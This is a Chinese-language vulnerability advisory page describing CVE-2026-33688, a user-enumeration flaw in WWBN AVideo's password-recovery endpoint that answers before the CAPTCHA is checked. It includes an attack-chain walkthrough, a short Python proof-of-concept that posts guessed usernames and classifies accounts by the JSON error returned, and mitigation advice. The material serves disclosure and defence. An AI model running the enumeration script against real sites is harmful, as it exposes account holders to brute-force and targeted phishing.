IPBUF安全漏洞报告
English
CVE-2026-33688 CVSS 5.3 中危

CVE-2026-33688: AVideo用户枚举漏洞

披露日期: 2026-03-23

漏洞信息

漏洞编号
CVE-2026-33688
漏洞类型
用户枚举
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WWBN AVideo

相关标签

用户枚举信息泄露WWBN AVideo验证码绕过CVE-2026-33688

漏洞概述

WWBN AVideo开源视频平台在26.0及以下版本中存在安全漏洞。攻击者可利用密码恢复端点 `userRecoverPass.php`,在验证验证码之前发送请求。由于系统会返回不同的JSON错误响应,攻击者能够枚举系统中的有效用户名,并判断账户状态(活跃、非活跃或封禁),从而无需解决验证码即可获取敏感信息。

技术细节

该漏洞源于 `objects/userRecoverPass.php` 端点的逻辑缺陷。在正常的密码重置流程中,系统应当首先验证验证码(CAPTCHA)以防止自动化攻击。然而,受影响版本的代码逻辑顺序错误,优先检查了用户名是否存在以及账户当前的状态(活跃、非活跃或封禁)。对于不同的检查结果,服务器会返回特定的JSON错误信息。攻击者可以通过编写脚本,向该接口发送大量包含不同用户名的POST请求,并解析响应内容。由于这一过程发生在验证码校验之前,攻击者无需处理图形验证码即可高效地遍历用户名字典,确认哪些用户名是注册过的以及它们的具体状态,这属于典型的用户枚举漏洞。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标系统使用的是WWBN AVideo平台,并确认其版本在26.0或以下。
STEP 2
2. 发起枚举请求
攻击者向 `objects/userRecoverPass.php` 接口发送包含猜测用户名的POST请求,此时无需提供有效的验证码。
STEP 3
3. 分析响应差异
攻击者解析服务器返回的JSON错误信息。根据提示中提到的三种不同响应(如用户不存在、账户非活跃、账户被封禁),区分用户名有效性及状态。
STEP 4
4. 数据利用
攻击者汇总有效的用户名列表,用于后续的暴力破解攻击或定向钓鱼攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL vulnerable endpoint target_url = "http://target-site/objects/userRecoverPass.php" # List of usernames to test usernames = ["admin", "test", "user1", "attacker"] for user in usernames: # Payload typically includes the user parameter # Depending on the actual implementation, parameters might vary (e.g., 'user', 'email', 'recoverPass') data = { "user": user, # Captcha parameter might be optional or bypassed in this logic flow } try: response = requests.post(target_url, data=data) # Analyze the JSON response to determine user status # Example logic based on description: if response.status_code == 200: res_json = response.json() # Hypothetical response keys based on "three distinct JSON error responses" if "error" in res_json: if "User not found" in res_json['error']: print(f"[+] User '{user}': Does not exist") elif "User is inactive" in res_json['error']: print(f"[!] User '{user}': Exists but is INACTIVE") elif "User is banned" in res_json['error']: print(f"[!] User '{user}': Exists but is BANNED") else: print(f"[!] User '{user}': Exists and is ACTIVE (or captcha required next)") except Exception as e: print(f"Error checking user {user}: {e}")

影响范围

WWBN AVideo <= 26.0

防御指南

临时缓解措施
建议管理员在无法立即升级补丁的情况下,通过WAF或反向代理对 `/objects/userRecoverPass.php` 路径实施严格的IP访问频率限制,或者临时禁用该功能模块,以阻断自动化枚举扫描。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表